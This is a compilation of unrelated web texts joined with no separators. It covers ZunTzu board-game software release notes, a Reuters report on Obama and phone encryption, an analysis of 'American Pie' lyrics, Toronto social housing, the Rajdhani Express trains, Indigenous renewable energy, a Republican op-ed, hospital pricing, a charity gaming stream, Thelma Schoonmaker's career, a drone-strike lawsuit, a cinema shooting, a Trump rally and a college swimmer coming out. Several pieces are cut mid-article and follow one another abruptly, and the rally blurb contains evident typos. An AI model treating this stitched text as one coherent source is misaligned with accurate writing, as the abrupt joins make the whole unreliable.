ZunTzu 1.2 is out, offering terrains tiles, overlays and geomorphic maps, private off-map displays, enhanced experience, through features such as a space bar shortcut to easily bring counters and cards into your hand, support for more languages (Italian and Portuguese), sound effects, better error diagnostics for game box authors.
7th of September 2007
Launch of two collaborative projects: a collaborative game box database and a translation project.
22th of August 2007
Enhanced handling of playing cards. Option to turn stacking off.
8th of July 2007
ZunTzu 1.1 is out, offering videoconferencing, playing cards, support for all dice types, better handling of routers.
25th of March 2007
The beta test of ZunTzu has ended. The current version of ZunTzu is 1.0 Final.
21st of March 2007
The new private hand function in ZunTzu makes hidden placement possible. It can also be used as a marker tray. See the "Get started with ZunTzu" article in the support section.
22nd of January 2007
There is a new article giving scanning tips in the support section.
30th of December 2006
Iéna 1806 (VaeVictis #71) available for download in the files section.
14th of November 2006
Beta 2 released. New "selection-less" more intuitive mouse interface.
30th of July 2006
The message board was added to the ZunTzu site.
13th of June 2006
AUSTIN, Texas (Reuters) - U.S. President Barack Obama on Friday made a passionate case for mobile devices to be built in such a way as to allow government to gain access to personal data if needed to prevent a terrorist attack or enforce tax laws.
Speaking at the South by Southwest festival in Texas, Obama said he could not comment on the legal case in which the FBI is trying to force Apple Inc. to allow access to an iPhone linked to San Bernardino, California, shooter Rizwan Farook.
But he made clear that, despite his commitment to Americans' privacy and civil liberties, a balance was needed to allow some intrusion when needed.
"The question we now have to ask is: If technologically it is possible to make an impenetrable device or system where the encryption is so strong that there is no key, there's no door at all, then how do we apprehend the child pornographer, how do we solve or disrupt a terrorist plot?" he said.
"What mechanisms do we have available to even do simple things like tax enforcement because if in fact you can't crack that at all, government can't get in, then everybody is walking around with a Swiss bank account in their pocket."
The Justice Department has sought to frame the Apple case as one not about undermining encryption. A U.S. Federal Bureau of Investigation court order issued to Apple targets a non-encryption barrier on one iPhone.
The FBI says Farook and his wife were inspired by Islamist militants when they shot and killed 14 people on Dec. 2 at a holiday party in California. The couple later died in a shootout with police.
"Setting aside the specific case between the FBI and Apple, ... we’re going to have to make some decisions about how do we balance these respective risks," Obama said.
"My conclusion so far is you cannot take an absolutist view."
In a coat he borrowed from James Dean
And a voice that came from you and me
Following on the previous reference, the Jester here is commonly associated with Bob Dylan, and who is further identified by the James Dean coat he wears on the cover of his late 1963 album The Freewheelin' Bob Dylan—the setting of which also intentionally plays off of the Dean persona, as seen in the photograph below. This also dates the opening of this verse close to the year 1964—a significant year, following as it did the assassination of John Kennedy, and considered by some the year the radical sixties began. Dean is best remembered as A Rebel Without A Cause in the film of the same name—an image of alienated youth and rebellion that fits with Dylan's role in the music of this period. The "voice that came from you and me" further identifies him—not only did his music work on a more literate and introspective level than anything attempted before in rock 'n' roll music, but it was also sung with (and I'm being charitable here) a distinctly unpolished voice. But most importantly, his was the voice of his generation—our voice—as much of his more popular work of this period were songs of protest, putting him at the political forefront of this increasingly rebellious generation. And finally, the Jester is a trickster figure in mythology, serving to advise royal authority through undermining it—certainly a role that Dylan seemed to fill. So Dylan heralded a new order emerging in popular music, and by analogy, the promise of a new order in the culture at large. The King is a title commonly given to Elvis Presley—the "King of Rock 'n' Roll"—who dominated and epitomized rock and roll up to this point in time. The Queen, though a few names have been suggested for her (Connie Francis, Aretha Franklin), is more likely a figurehead here, as there was no corresponding "Queen of Rock 'n' Roll" at this particular time. What seems most likely here is that the image of a royal court is being suggested—the Jester having gone before the court of rock 'n' roll to challenge its dominion by Presley. And as the "music" in American Pie is synonymous with the culture of America, a similar challenge is confronting the country, as the younger generation challenges the assumptions of the older order it grew up with. This notion is amplified further in the next lines. And while the King was looking down
The jester stole his thorny crown
The courtroom was adjourned
John Tory visits a TCHC building with inner city youth to learn about the challenges in public housing, during the final days of his election campaign last October. ( STEVE RUSSELL / TORONTO STAR )
More bad news: The plan is to ask the provincial and federal governments to cover the shortfall. Oh, crap. Guys, we might be screwed. Not that the plan itself is bad, per se. It points out how the longstanding, long-growing state-of-good-repair backlog could be dealt with, and why it should be, and what benefits and risks attend doing the right thing or failing to do so.
Article Continued Below
It’s not like the mayor was wrong when he said at the press event that “the moral and business cases illustrated by this study make a bullet-proof case for why the Ontario and federal governments should invest now to repair housing.” He’s right. The problem is that the moral and business cases for supporting social housing have been clear for a long time. I think they were clear when the federal government withdrew most of its oversight of social housing in the 1990s. It was true at the turn of the millennium, when the province threw responsibility for funding and running social housing onto cities. It has remained true ever since, even if the case has become more pressing, and even while the province has continued to withdraw social housing dollars (see, for reference, the whole budget showdown between Tory and Premier Kathleen Wynne earlier this year, caused by the withdrawal of those dollars). The business case and the moral case may be made of Kevlar, as Tory suggests. But history shows that the political case for Queen’s Park and Ottawa to accept their obligations is made of something else, a material that seems not so much to repel bullets as to repel funding. This is especially true of the governing provincial Liberals, who vacuumed up Toronto’s votes just last year and, because of them, don’t face an election for three or four more years.
The federal Conservatives do face an election this year, and may even want to make some nods to urban issues, and even Toronto issues, as their opponents are either doing or plan to do. But with transit and gridlock so top of mind, and waterfront renewal up for debate, is the specific crisis at Toronto Community Housing likely to become a national priority? I suppose it doesn’t hurt to hold a big event to point out yet again that it should be a priority — heaven knows, Mel Lastman and David Miller often enough called in the press to announce “Plan A: we need upper government support; Plan B: see Plan A.” Let’s say history shows it isn’t entirely ineffective. But it is close.
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Rajdhani Express Patna Rajdhani Express with new coaches painted with Madhubani art. Overview Main Operation(s) India Fleet size 24 Parent company Indian Railways
The Rajdhani Express is a series of express passenger train services in India operated by Indian Railways connecting the national capital New Delhi with the capital and/or largest cities of various states. Rajdhani means "The Capital" in many Indian languages. The Rajdhanis are among the fastest trains in India along with Tejas Express, Gatimaan Express, Shatabdi Express and Duronto Express and get the highest priority on the Indian railway network[citation needed].
History [ edit ]
The first Rajdhani Express was introduced in 1969,[1] for providing fast connections (up to 180 km/h or 110 mph, speed variation depending upon the particular track section) from New Delhi to the capital cities of various states in India. The first Rajdhani Express left New Delhi station for Howrah station to cover a distance of 1,445 km in 17 hours 20 mins.[2]
Until 1988, with the introduction of the Bhopal Shatabdi Express at 140 km/hr, the Rajdhani was the fastest train in India reaching speeds of 115-120 km/hr.[1]
Andhra Pradesh, Madhya Pradesh, Uttar Pradesh, Rajasthan, Haryana and Punjab are the only states without having a Rajdhani express terminating/originating from any of its major cities.
About [ edit ]
Rajdhani express gets the highest priority on the Indian railway network.[2] They are fully air-conditioned. Passengers are served meals (food price included in the train fare) during the journey. Depending on the duration and timings of the journey, these could include morning tea, breakfast, lunch, high tea and dinner.[2] All Rajdhani Express trains offer three classes of accommodation: AC First Class (FC) with 2-berth and 4-berth coupès (with locking facility for privacy), AC 2-tier (2T) with open bays (4 berths/bay + 2 berths on the other side of the aisle of each bay), provided with curtains for privacy, and AC 3-tier (3T) with open bays (6 berths/bay + 2 berths on the other side of the aisle of each bay) without curtains. Currently there are 24 pairs of trains, connecting New Delhi to important cities across the country. These trains have fewer stops than other express trains and halt only at prominent stations. Recently Dynamic pricing has been introduced on all Rajdhani express trains.
Routes [ edit ]
There are currently 24 pairs of Rajdhani Express operational:[3][4][5]
Incidents [ edit ]
On 25 June 2014, at least four passengers were killed and eight injured when the New Delhi-Dibrugarh Rajdhani Express derailed at Goldin Ganj station near Chapra in suspected sabotage by Maoists. The train was heading towards Dibrugarh .[6]
On the morning on 14th Sept, 2017, at around 6.00 a.m. IST, a coach of the New Delhi-Ranchi Rajdhani Express derailed at the New Delhi station. According to a railway spokesperson, no one was injured in the incident.[7]
Many of the 300 or so residents of Anderson’s hometown of Goodooga rely on welfare, he says. Exorbitant electricity bills – up to $3,000 a quarter for some households – further exacerbate the poverty. “We’re always at the end of the power line, so the service that is there is quite extraordinary in terms of cost.”
Many other communities rely on expensive, emissions-intensive diesel-powered generators to meet their electricity demands. “It’s a real problem and we need to make sure that we fix this,” Anderson says.
To that end, Anderson and 24 other Indigenous leaders have formed the First Nations Renewable Energy Alliance, which aims to tackle high power costs and entrenched disadvantage – along with climate change – by pushing for renewable energy in Indigenous communities.
The alliance, formed at the Community Energy Congress in Melbourne last month, will lobby government and partner with private enterprise and other community energy alliances to support Indigenous communities looking to transition to renewable energy.
Anderson, who is a member of the alliance’s seven-member steering committee, says the move is an important step towards self-sufficiency for Indigenous communities.
People-powered: renewable energy project changes Indigenous lives in Barkly Read more
The renewable energy company 360 Energy Group, which is based in Melbourne, has stepped up with $10,000 and an offer of office space and knowhow to help get the alliance off the ground.
Its director, Michael Anthony, sees immense potential for renewables – such as solar or wind power generation combined with battery storage – to empower remote communities. Renewables, he says, can “provide communities with a really strong, consistent, stable power solution at about half the cost of [current] solutions”.
Whereas high energy prices often drive Indigenous people off their traditional lands, lower-cost renewables can help communities to thrive no matter how remote.
“We can build a power station where the community exists,” Anthony says, “so people are able to successfully live in the environment the way they want to live and have access to power which enables them to better determine their economic future.”
Only a handful of Indigenous communities have embarked on renewable energy projects in Australia. The Indigenous-owned and -operated company AllGrid Energy, for instance, has installed solar panels and battery storage systems to replace diesel generators in the Aboriginal communities of Ngurrara and Kurnturlpara in the Northern Territory’s Barkly Tableland. Within two months of the system being installed in May 2016, people were moving back to their homelands from Tennant Creek, the communities growing from just two permanent residents to about 40.
The Murrawarri elder Fred Hooper, also on the alliance steering committee, is hoping that Australian Indigenous communities can follow the lead of other Indigenous communities around the world. In Canada’s First Nations communities, for instance, renewable energy projects are becoming commonplace. “It’s very inspiring,” he says.
Melina Laboucan-Massimo, from the Lubicon Cree First Nation in Alberta, Canada, has led the push for her own community of Little Buffalo – which lies at the heart of the Peace river oil sands – to adopt renewable energy after a 2011 oil spill just 10km from the township. A 20.8kW solar installation, built and operated by locals, now powers the community health centre. Additional projects are being planned to wean the community off the propane heating and coal-powered electricity that it relies on.
Laboucan-Massimo, who is a member of Canada’s Indigenous Clean Energy Network, has seen the benefits that alliances can provide. “It’s really important to share information,” she says, “because, when you’re dealing with companies, or utilities, it’s really good to know what’s being told to one community or what kind of deals are being offered.”
Indigenous Purchasing Program: 'With a foot in the door, we proved ourselves' Read more
The First Nations Renewable Energy Alliance will go one step further, working with community leaders and acting as a conduit between the communities and the businesses they are dealing with. This is essential, says Anderson, to avoid predatory practices they have seen in the past, with companies “playing on the psychology of poverty” to gain advantage.
The alliance has drafted protocols and memoranda of understanding that will guide how companies engage with Indigenous communities for renewable energy projects.
While lowering the cost of energy is a high priority for remote Indigenous communities, the environmental credentials of renewables are also an important consideration, says Hooper. “One of the best things about renewable energies is that it’s relying on natural sun from the sky, wind that’s blowing across the landscape and other renewable energies are not raping our mother earth of the precious resources that she holds,” he says.
It is not as if the trends cited above were unknown to responsible Republicans and conservatives before the advent of Mr. Trump. They were, and some party loyalists challenged them at the time. Those efforts clearly failed, and Republicans have to come to terms with the fact that the rot was far more advanced than we understood.
Those of us who have long defended the Republican Party could do worse than honestly assess what role we might have played in all this, what we missed and why, and what more we could have done to stop it. When you are part of a political movement that chose Donald Trump as your nominee, some serious self-reflection is in order.
For now, though, the Republican Party faces a crisis. If Mr. Trump loses, the party faces a daunting reconstruction challenge. Policies that promote economic growth, social mobility and greater opportunity are important. But in some respects the party’s stance on the tax code, wage subsidies, higher education, tax credits or entitlement programs are a secondary priority.
Republicans need to wrestle with more fundamental questions first: Will their party choose as its leaders people who respect democratic institutions and traditions, or not; who conceive of America as a welcoming society or as one that is racially and religiously closed; who are committed to helping or exploiting the weak and vulnerable; who admire or oppose tyrants; who respect truth or view it in purely utilitarian ways; who abhor ignorance or embrace it? Will Republicans gravitate toward leaders who have authoritarian tendencies, who incite violence in their followers, and whose personalities are vindictive, cruel and disordered?
In a post-Trump world, Republicans need to ask themselves if their party will be characterized by its aspirations or its resentments. Can it make its own inner peace with living in an increasingly diverse and nonwhite America? Does it conceive of its role as tamping down or inflaming ugly passions? Does it believe in a just social order or not?
New data released by National Nurses United revealed that not only do a handful of hospitals charge patients more than 10 times the actual cost of treatment but that prices have been steadily increasing for nearly two decades.
Skimping on care, patients often pay for it with their health, said Joan Ross, co-president of National Nurses United.
"If you are presented with a bill, and you know that bill is something you can't afford, you're not going to go in," Ross said. "You're just not going to."
Read about the Reddit user who posted a $55,000 bill for his appendectomy.
Fourteen hospitals charged more than $1,000 for every $100 of their total costs, according to the union's analysis.
The union compiled Medicare Cost Reports from 4,328 short-term acute care hospitals of the 4,655 that filed mandatory annual cost reports with Medicare, according to National Nurses United spokesman Chuck Idelson. Criteria included that the hospitals' revenue be greater than zero, and that the hospitals have discharged at least 100 patients.
The union has analyzed these reports for the past 16 years, and it saw the biggest overall jump between fiscal year 2011 and fiscal year 2012, when hospitals charged 7 percent more than they had the previous year
Ross, who's been a registered nurse in Minnesota for 40 years, said she's watched as rising hospital prices have played a larger and larger role in patient care decisions.
"The first question - instead of triaging their physical and mental state - is not how ill you are but what kind of insurance you have," Ross said. "That never was asked before, not when I started nursing. That didn't come up as a question, nor should it."
Ross said steep hospital prices often drive patients to put their pocketbook before their health when it comes time to make medical decisions. She remembers a terminal cancer patient whose lack of insurance pushed her toward a cheaper option at first, but ultimately cost her family more money by the time she died.
Ross said the patient needed an intravenous catheter to deliver medications because the usable veins in her arm would eventually close up. But because the patient didn't have insurance, and having the catheter put in would be expensive, Ross said, the patient decided not to get it. She hoped that she'd die before doctors could no longer find usable veins in her arms.
The patient endured extra pain, but didn't want to burden her family with extra costs, Ross said.
But she didn't die, and soon doctors found that they could no longer find a usable vein. They needed to give her the catheter anyway to deliver the drugs that would keep her comfortable.
"They ended up putting in the line that she should have had months ago," Ross said. "Decisions are not made by what is best for the patients. They're made on what costs the least and what they can afford [at the time]. But in long run, it ends up costing everybody more."
The American Hospital Association said bills were higher than the cost of treatment because the hospital has to cover the cost of patients who can't pay, and other expenses.
"Today's hospital bill is a symptom of a broken payment system," the association said in a statement to ABCNews.com. "It's an example of the fragmented nature of our delivery system in which hospital bills often reflect just one aspect of care. In addition, hospitals deal with more than 1,300 insurers; each insurer has different plans with multiple requirements for hospital bills. Add to that decades of federal regulations and it becomes even more complex and frustrating for everyone."
Although the American Hospital Association lists 5,723 registered hospitals in the country, these include specialty facilities, such as rehab centers, which the nurses' union left out in its study.
May 26th – 27th, 2017
twitch.tv/play_4_pawz
Starts 8pm (PST) :: 10pm (CST) :: 11pm (EST) :: 4am (GMT, 27th May)
worldtimebuddy.com
As always, we will be holding a 24 hour charity! Playing a variety of games on Xbox One and livestreamed on twitch.tv/play_4_pawz where viewers can watch and join in on the event!
As with previous years your donations will gain you entry to our prize raffle with all prizes donated by our sponsors and have we got an amazing prize list to offer [details to follow] all donations go straight to our beneficiaries below and greatly supports them, in other words Play 4 PawZ is 100% not for profit.
This year we will be supporting First Coast No More Homeless Pets (US) and The Animal House Rescue (UK).
First Coast No More Homeless Pets
This organization is located within Jacksonville, Florida (USA). Their team works tirelessly to support and protect animals; reducing the euthanasia rate in Jacksonville. They also lend their services to owners struggling to keep their pets. You can visit their website here to learn more about them!
To donate to First Coast No More Homeless Pets, please click the button below.
The Animal House Rescue
This organization is located within Birmingham, UK. Just like First Coast No More Homeless pets, The Animal House Rescue team provides outstanding service to unwanted, abused, or abandoned animals. All their animals are kept in foster homes instead of a shelter which ensures all the animals are prepared for their new homes. You can visit their website here to learn more about them!
To donate to The Animal House Rescue, please click here the button below.
We will kick off our 24-hour stream as always with ‘GzB Founder Fridays’ and from there we will begin with our line up of games for the rest of the 24 hours. Gears of War 4, Borderlands 2, Plants vs Zombies: Garden Warfare 2, Titanfall 2, and Rocket League; in that order! [Full event timings will be added, watch this thread!]
The entire event will be streamed on the Play 4 PawZ channel.
For the latest information visit: play4pawz.com
Play 4 PawZ 2017 Sponsors:
Elgato Gaming
Respawn Entertainment
The Coalition
The Nerd Fu
Call Me eSports
GearZ and Beers
Flame Grips
Render eSports
Raffle Prizes:
The items below will be raffled off to anyone that has donated the required amount for each item. We reserve the right to change the donation requirements. (1 week before event.)
If you donate $/£ for the highest tiered item, you will be eligible for each item in the raffle.
$80/£65 donation gets one entry into the raffle.
1 of 2 Game Capture HD60S – Provided by Elgato
Titanfall 1 XBOX One, signed collector’s edition – Provided by Respawn Entertainment
$60/£50 donation gets one entry into the raffle.
(1) – Call Me eSports personalized jersey with winners name.
(1) – Call Me eSports personalized hoodie with winners name.
(1) – Call me eSports personalized jacket with winners name.
Nerd Fu Prize Pack– Provided by Nerd Fu!
(1) Gears of War – Marcus Fenix – Funko Pop!
(1) Gears of War – Locust Drone – Funko Pop!
(1) Gears of War – Del Walker – Funko Pop!
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Early life [ edit ]
Schoonmaker was born in Algiers, Algeria, the daughter of American parents, Thelma and Bertram Schoonmaker.[1] Bertram, descended from the New York Schoonmaker family, was employed as an agent of the Standard Oil Company and worked extensively abroad.[2] She was raised in various countries, including on the Dutch-Caribbean island of Aruba.[2][3]
Schoonmaker did not live in the United States until she was an adolescent, in 1955, and was initially alienated and dumbfounded by American culture.[2] Schoonmaker was interested in a career in international diplomacy and began attending Cornell University in 1957, where she studied political science and the Russian language. When she graduated from Cornell in 1961, she began taking State Department tests in order to apply for positions in the U.S. government.[2][4]
Politically inclined and opinionated, she expressed distaste for the South African policy of apartheid, a stance which did not sit well with those administering the State Department tests.[2] In reaction to this experience, she began taking a course in primitive art.[5]
Career [ edit ]
"While doing graduate work at Columbia University, Thelma Schoonmaker answered an advertisement that offered on-the-job training as an assistant film editor."[6][7] She responded to the employment advertisement in The New York Times and got the job. The job entailed assisting an "editor" who was randomly cutting frames from classic European films, (such as those by François Truffaut, Jean-Luc Godard and Federico Fellini), so that their length would conform to the running times of U.S. television broadcasts.[2]
She signed up for a brief six-week course in film-making at New York University, where she came into contact with young film-maker Martin Scorsese, who was struggling to complete his film What's a Nice Girl Like You Doing in a Place Like This? A negative cutter had butchered his film, not leaving enough negative frames to allow for hot splicing, so a film professor asked her to help Scorsese.[2] Schoonmaker edited Scorsese's first feature film, Who's That Knocking at My Door (1967).[citation needed]
At NYU., Schoonmaker also met film-maker Michael Wadleigh and later edited his influential music festival documentary, Woodstock on which Scorsese also worked. Her first major film editing work on Woodstock gained Schoonmaker an Academy Award nomination for Best Editing.[8] Her use of superimpositions and freeze frames brought the performances in the film to life, and added to the movie's wide appeal, thus helping to raise the artistry and visibility of documentary film-making to a new level.[7]
The early period of Schoonmaker's career was difficult; joining the Motion Picture Editors Guild has always been challenging, with entry requirements included spending five years as an apprentice and three as an assistant. [8][3][9] Said Schoonmaker, "And I just couldn't see why I, who had been a full editor and had been nominated for an Academy Award, should suddenly have to become an apprentice. ...And of course, they couldn't see the sense of why I, who had never been in the union all those years and had never paid dues all those years and had never served my time in their sense, should be allowed as a full editor. So it was quite understandable on both sides. It was just insane."[10]
Consequently, there was a twelve-year gap between her work on Scorsese's student films and her Oscar-winning work on Raging Bull. "I would have loved to work with Marty, but I wasn't in the union….And then, finally, Marty called me about Raging Bull and the lawyers got me in the union."[11]
While Schoonmaker didn't officially work with Scorsese until Raging Bull, she did make an uncredited contribution to Taxi Driver. Scorsese had decided not to edit the picture Taxi Driver during proaction shooting, but to save all the editing until shooting had wrapped. Unfortunately, this left him very little time to cut the picture, as Columbia's contract stipulated that a finished cut had to be supplied by the middle of February…among others, Scorsese brought in Schoonmaker to help. At one point, Steven Spielberg visited Scorsese and chipped in with some contributions towards the final edit.[12][13]
Personal life [ edit ]
Thelma Schoonmaker and Columba Powell at the Cannes Film Festival (2009). Columba Powell is the son of Michael Powell , a prominent film director to whom Schoonmaker was married.
She was introduced to Michael Powell by Scorsese and London-based film producer Frixos Constantine.[8] The couple were married from May 19, 1984 until his death in 1990. The couple had no children.[5]
Since Powell's death, Schoonmaker has dedicated herself to preserving the films and honoring the legacy of her husband, who directed many classic films, including The Red Shoes.[4][9]
Quotes [ edit ]
"You get to contribute so significantly in the editing room because you shape the movie and the performances," she says. "You help the director bring all the hard work of those who made the film to fruition. You give their work rhythm and pace and sometimes adjust the structure to make the film work – to make it start to flow up there on the screen. And then it's very rewarding after a year's work to see people react to what you've done in the theater." [9]
"Editing is a lot about patience and discipline and just banging away at something, turning off the machine and going home at night because you're frustrated and depressed, and then coming back in the morning to try again." [14]
When asked how it was that such a nice lady could edit Scorsese's violent gangster pictures, Thelma replied with a smile, "Ah, but they aren't violent until I've edited them." [15]
I've edited them." "I think Marty's use of violence is very valid. He never uses it gratuitously, he always makes a very strong point….if you're going to show violence and it's done with conviction the way Marty does it then it is correct."[12]
Selected filmography [ edit ]
Other credits [ edit ]
Accolades [ edit ]
With seven Academy Award nominations, Schoonmaker is the second most-nominated editor in Academy Awards history, after Michael Kahn who has eight nominations. Tied with Kahn, Daniel Mandell, and Ralph Dawson, she also holds the record for the most wins in the category of Best Editing, with three.
In 2012, the Motion Picture Editors Guild published a list of the 75 best-edited films of all time based on a survey of its membership. Three films edited by Schoonmaker with Scorsese are on this list: Raging Bull (1980), listed first, Goodfellas (1990), listed fifteenth, and Hugo (2011), listed sixty-ninth. Only George Tomasini, the editor of Alfred Hitchcock's films in the 1950s, has more appearances on this list.[16]
Awards and nominations [ edit ]
Academy Awards for Best Film Editing
Other awards and nominations
See also [ edit ]
"CD," as the man is called in court documents, said his father, a camel herder called "AB," died in a drone bombing in southern Somalia in February 2012, according to the Guardian, amid the hunt for Mohamed Sakr, a former British citizen and suspected member of the Somalia-based militant group Al-Shabaab. Sakr, whose British citizenship was stripped in 2010 when he allegedly joined the group, was believed to have been killed in the strike.
READ MORE:US interests in Africa: Four things you need to know
The legal action brought by attorneys with the Open Society Justice Initiative claimed that in addition to US culpability for the death of CD's father, Germany “plays an indispensable role in secret drone killings in Somalia” given it hosts military bases that are involved in US drone operations that end in “unlawful covert killing” and exceed the international definition of a war zone.
While drone operations targeting suspects in Somalia are conducted by pilots in the US operating unmanned aircraft launched in nearby Djibouti, the data sent back and forth between the pilot and the drone goes through Ramstein air base in Germany, according to the court filing. CD's lawyers cited in court documents evidence first published by news outlets that obtained secret US documents supplied by whistleblower Edward Snowden that explained Ramstein's role in covert US drone strikes.
READ MORE: US operates global drone war from German base – ex-pilot
CD's attorneys also said the strike that killed AB would have been planned by US Africa Command, which is stationed in Stuttgart, Germany. These circumstances, the lawyers said, add up to the killing of AB by “US and German military and secret services."
“At issue in this case is whether states like Germany can support a secret killing programme that operates outside the law while evading all accountability," said Amrit Singh, a senior lawyer at the Open Society Justice Initiative."It is vitally important that the courts intervene to guard against the setting of a dangerous precedent and impose lawful restraints on states that support a virtually limitless authority to kill.”
Neither the German military nor the US embassy in Berlin would respond to the Guardian's request for comment.
According to the court documents, AB did not return home with his camels on February 24, 2012. CD and some neighbors went out to search for AB the next morning, eventually finding evidence of an airstrike. AB's body was found torn to pieces, as were several of the camels. A mangled car, believed to be the direct target of the strike, was found amid the wreckage.
“Our client’s father went out to work one day in the fields, and never came back, becoming the innocent victim of a drone strike he had no reason to suspect was coming," said Natalie von Wistinghausen, one of CD's German lawyers. "There has been no investigation into his case. His family has received no explanation for why he was killed. They want justice.”
Built in 1948, Ramstein Air Base in Rhineland-Palatinate, southwestern Germany serves as the headquarters for the United States Air Force in Europe.
READ MORE: ​Germany, France & Italy sign EU drone program, challenge US, Israeli alternatives
In April 2014, the testimony of a former US Air Force drone pilot revealed that Washington is using the base as its nerve center to wage highly controversial drone warfare in Africa, Yemen, and Pakistan.
“The entire drone war of the US military wouldn't be possible without Germany," Brandon Bryant, who resigned in 2011, told NDR television and the German newspaper Sueddeutsche Zeitung.
Sheriff Chris Nocco says the male victim was on his phone and texting before the movie began, which allegedly aggravated the couple behind him. An argument between the couples broke out, and the male suspect took out a gun and shot the couple sitting in front of him. Both victims were transported to a Tampa Bay area hospital, where the man was pronounced dead. The woman reportedly has non-life threatening injuries. The shooting happened around 1:30 p.m. at the Cobb CineBistro at Grove 16 complex on Wesley Grove Blvd.
It’s interesting to note that even at a theater where you can order wagyu beef sliders and chili glazed shrimp with your movie you can still get murdered for pissing someone off.
A good Samaritan inside the theater was able to detain the suspect until deputies arrived. The theater was evacuated without incident. [WTSP/FoxTampaBay]
That’s a really good Samaritan. I know this is a total hypothetical, but if have a choice between trying to reason with a pissed off Floridian holding a gun and running for my life, I’m probably going for option B.
UPDATE: Some additional details, via FoxTampaBay:
A witness recalled seeing the agitated man — later identified by deputies as Curtis Reeves — get up and leave in an apparent attempt to find a manager. When he came back alone, the argument escalated. Charles Cummings told FOX 13 he heard the victim say he was texting his 3-year-old daughter before Reeves pulled out a pistol. “Their voices start going up, there seems to be a confrontation, somebody throws popcorn, then bang, he was shot,” said Cummings, who was there to celebrate his birthday. “I heard the victim say, ‘I can’t believe…,’ then he fell on us.” “I asked if the guy was OK, and he started gurgling blood and then fell,” recalled Cummings’ son, who said he ran to call 911. Both the man, identified by deputies as Chad Olson, and his wife Nicole were struck by the single shot. Olson, 43, was hit in the chest and died, while Nicole was hit in the hand when she put her hand up in front of her husband. She suffered non-life-threatening injuries. An off-duty Sumter County deputy inside the theater was able to grab the gun and detain Reeves until deputies arrived, the sheriff added. Reeves, a 71-year-old retired Tampa police officer, was arrested and charged with second-degree murder.
Yup, still pretty terrible.
President-Elect Donald J. Trump and his team touched down in Alabama this afternoon for the final event of his Thank Your Rally tour.
Thousands turned out today to hear the President-elect at Ladd–Peebles Stadium in Mobile, Alabama today.
Kellyanne Conway was the first successful female presidential campaign manager in history.
Hope Hicks was president elect Trump’s press secretary this past year. Hope is a formal model and women’s lacrosse player.
In her speech Kellyanne pointed out that President elect Donald Trump turned over 200 counties across this country from President Obama in 2012 to President Trump in 2016.
Donald Trump brought both Kellyanne and Hop on stage on Saturday to share a few words.
He won't be allowed to do that anymore.
In early January, while most students were still enjoying their winter break, Murtha gathered his Villanova swim team to tell them he's gay. It's a secret he had lived with for years, at one point telling himself he would simply never come out. His Roman Catholic upbringing, the aura of men's sports and the policies of the Boy Scouts of America all combined to drive a deep-seated shame in him as he began to recognize his attraction to other boys. It was a secret he had decided he could never share with the people closest to him.
Last autumn he met a guy who changed all of that. He was nice, he was smart - yeah, he was cute, too. Most importantly, he was openly gay with his friends and family. He and Murtha dated for a few months, Murtha sneaking away from his friends and teammates, creating stories about where he was headed on his own, keeping the guy he was dating a secret.
Yet with the boy's friends they were out and open. Murtha met more and more gay people, all friends of the object of his affection. Hearing their stories of coming out and finding acceptance bred in him a renewed confidence.
That new confidence led to a team meeting after their first practice of the new year, on Jan. 2. He had been writing his "coming out speech" for a while, saving it on his computer as a filed called "Tax Returns 1994" so a roommate wouldn't be suspicious if he stumbled across it. Since Murtha was born in 1994, in hindsight it may have given anyone reason for suspicion.
After the team settled into their seats for the short meeting, this is what Murtha said:
So this is tough for me and I apologize for taking so long to tell you guys this, but it took me forever to admit to myself and then it's been really hard to work up the courage to say it. I'm gay. I've tried to bury this part of myself for a long time but slowly grew to accept it over the past year and a half. I want you guys to know that this isn't something that I chose. I was just born with it. Anyway, I want you to know that I'm still the same person that I've been. I hope you guys don't see me any differently because of this. I don't think it should define me totally; it's just one of many parts that make up who I am. But if for whatever reason you don't like me because of this, I guess I can't blame you because for a long time I hated myself for being gay, too. I made myself believe that living with this shame was worth not losing any of my friendships. But I don't want to be ashamed anymore. And I've kind of felt like I wouldn't be able to 100% accept myself and move on until I could be truthful with my friends. That's you guys. So if you're down to stick around and still be my friend, I can't even begin to say how grateful I would be. If you have any questions or if you want to talk to me about it, feel free.
When he was done speaking, Murtha looked up at his teammates. Some stared back at him, others looked down. The room was silent. No response.
"I was pretty terrified. Forever I had played this in my head over and over again. That little pause after I finished speaking, all of the worst-possible scenarios played through my head. What if they didn't want to have anything to do with me anymore?"
That moment of quiet felt like the proverbial lifetime.
One teammate broke the silence with clapping. Then another. It was like a scene from a movie, with the entire team eventually joining in the celebration, cheering. They circled around Murtha and hugged him, assuring him that he was the same guy they've loved since he arrived on the team, and this wouldn't change a thing.
"Obviously, it turned out well in the end."
The team headed to Chipotle, where a routine post-workout meal awaited. Since it was still winter break for the rest of the school, the dining halls were closed. Thankfully Murtha was able to take advantage of the Chipotle gift cards he'd received for Christmas. "Chicken burrito with lettuce, cheese, mild salsa, sour cream and guacamole please." At Chipotle, various teammates approached him to reassure him everything was going to be fine - They weren't going to turn their backs on their friend and teammate just because he happened to be gay.
Since that day a month ago, Murtha has felt nothing but love from his team. They are now focused on their next dual meet, with Pittsburgh on Feb. 7. He has already qualified for the Big East Championships in four events: 100-meter breast, 200-meter breast, 200-meter medley and 400-meter medley.
He's also come out to his Catholic parents, whom he said are still struggling a bit but who have offered him love and support.
Sadly, the same can't be said of the Boy Scouts. Because he is now openly gay, Murtha will not be allowed to engage with the organization as a leader - The Boy Scouts of America ban any gay person from working with youth.
"It seems hypocritical not letting gay leaders into the Scouts. The Scout Law lays it out pretty clearly. 'A Scout is trustworthy, loyal, helpful, friendly, courteous, kind, obedient, cheerful, thrifty, brave, clean and reverent.' The policy prohibiting gay people goes against a lot of those points."
It's particularly painful for Murtha, who feels he became his own person while a Boy Scout. He was able to discover himself with the guidance of the organization and the group's leaders. Now he will never be able to give back to the next generation of Boy Scout youth.
"It sucks. I met my best friends in Boy Scouts. I have the best memories of it, and my brothers all went through it. It's been such a big part of my family and I learned so much of it. It shaped who I am today. I have a desire to give back to the next generation of Scouts, but I'm not allowed. It hurts. It feels like rejection."
Murtha now aims to help a different kind of generation - one that is LGBT in sports or in the Boy Scouts. He's quickly found the sports world to be far more accepting than he ever imagined it could be. If the Boy Scouts of America won't have him on the inside, he will help young Boy Scouts from outside the organization.
"I want to be able to help people going through the same thing that I did. If sharing my story can help just one person, then it will be worth it."
